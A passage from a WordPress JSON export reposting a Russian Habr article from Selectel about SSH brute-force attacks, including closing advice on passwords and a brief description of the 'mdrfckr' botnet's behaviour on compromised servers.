\u043d\u0435\u0438\u0437\u0431\u0435\u0436\u043d\u043e, \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0430\u0440\u043e\u043b\u044f \u0434\u0430\u0442\u044b, \u0448\u0430\u0431\u043b\u043e\u043d\u043d\u044b\u0435 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u044f \u0438 \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<\/li>\n<li>\u041d\u0430\u0438\u0431\u043e\u043b\u044c\u0448\u0443\u044e \u0443\u0433\u0440\u043e\u0437\u0443 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0431\u043e\u0442\u043d\u0435\u0442 <i>mdrfckr<\/i>. \u0418\u0445 \u043c\u043d\u043e\u0433\u043e \u0438 \u0438\u0445 \u043d\u0435 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0434\u0430\u0436\u0435 \u0442\u043e, \u0447\u0442\u043e \u043e\u043d\u0438 \u0443\u0436\u0435 \u0432\u0437\u043b\u043e\u043c\u0430\u043b\u0438 \u0432\u0430\u0448 \u0441\u0435\u0440\u0432\u0435\u0440. \u0425\u043e\u0442\u044f \u0441\u0435\u0439\u0447\u0430\u0441 \u044d\u0442\u043e\u0442 \u0431\u043e\u0442\u043d\u0435\u0442 \u043f\u0440\u043e\u0441\u0442\u043e \u043c\u0435\u043d\u044f\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u044b, \u0447\u0435\u043c \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u0442 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u043e\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445, \u043d\u043e \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u0435\u0431\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f \u043d\u0430 \u0432\u0430\u0448 \u0441\u0435\u0440\u0432\u0435\u0440.<\/li>\n<li>\u0414\u0440\u0443\u0433\u0438\u0435 \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441\u0435\u0440\u044b \u043f\u0440\u0438\u0445\u043e\u0434\u044f\u0442 \u043d\u0435 \u0441\u0440\u0430\u0437\u0443, \u043d\u043e \u043c\u043e\u0433\u0443\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0431\u043e\u043b\u0435\u0435 \u0438\u0437\u043e\u0449\u0440\u0435\u043d\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b.<\/li>\n<\/ol>\n<p>  <a href=\"https:\/\/slc.tl\/OM-G1\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/nd\/q5\/xa\/ndq5xaossnqfgtzu9yuw3jkhk8g.png\"><\/a><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/company\/selectel\/blog\/567250\/\"> https:\/\/habr.com\/ru\/company\/selectel\/blog\/567250\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"\n<div class=\"post__text post__text-html post__text_v1\" id=\"post-content-body\">\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/lx\/42\/vz\/lx42vziihu1dsu1o5nqokbmmxgq.jpeg\"><\/div>\n<p>  \u041a\u0430\u0436\u0434\u044b\u0439 \u0432\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0441 \u00ab\u0431\u0435\u043b\u044b\u043c\u00bb IP-\u0430\u0434\u0440\u0435\u0441\u043e\u043c \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b \u0432 \u043b\u043e\u0433\u0430\u0445 \u0431\u0435\u0441\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u043f\u043e SSH \u0441 \u0440\u0430\u0437\u043d\u044b\u0445 \u0442\u043e\u0447\u0435\u043a \u043c\u0438\u0440\u0430. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b \u0441\u0442\u0430\u0432\u044f\u0442 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a fail2ban, \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u044f\u0442 SSH \u043d\u0430 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0440\u0442\u044b \u0438 \u0432\u0441\u044f\u0447\u0435\u0441\u043a\u0438 \u043f\u044b\u0442\u0430\u044e\u0442\u0441\u044f \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f \u043e\u0442 \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441\u0435\u0440\u043e\u0432. \u041d\u043e \u0447\u0435\u0433\u043e \u0436\u0435 \u0445\u043e\u0442\u044f\u0442 \u044d\u0442\u0438 \u0437\u0430\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043b\u044e\u0434\u0438 \u043e\u0442 \u043d\u0430\u0448\u0438\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432?<\/p>\n<p>  \u041f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u043d\u044b\u0439 \u043e\u0442\u0432\u0435\u0442, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u043f\u0440\u043e\u0441\u0442: \u043d\u0430\u0436\u0438\u0432\u044b \u043d\u0430 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u044b\u0445 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u0445 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u041d\u043e \u044d\u0442\u043e\u0442 \u043e\u0442\u0432\u0435\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u043c \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u00ab\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438\u00bb \u0438 \u043f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u043c, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442, \u043a\u043e\u0433\u0434\u0430 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441 \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u043c.  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-326531","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/326531","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=326531"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/326531\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=326531"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=326531"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=326531"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}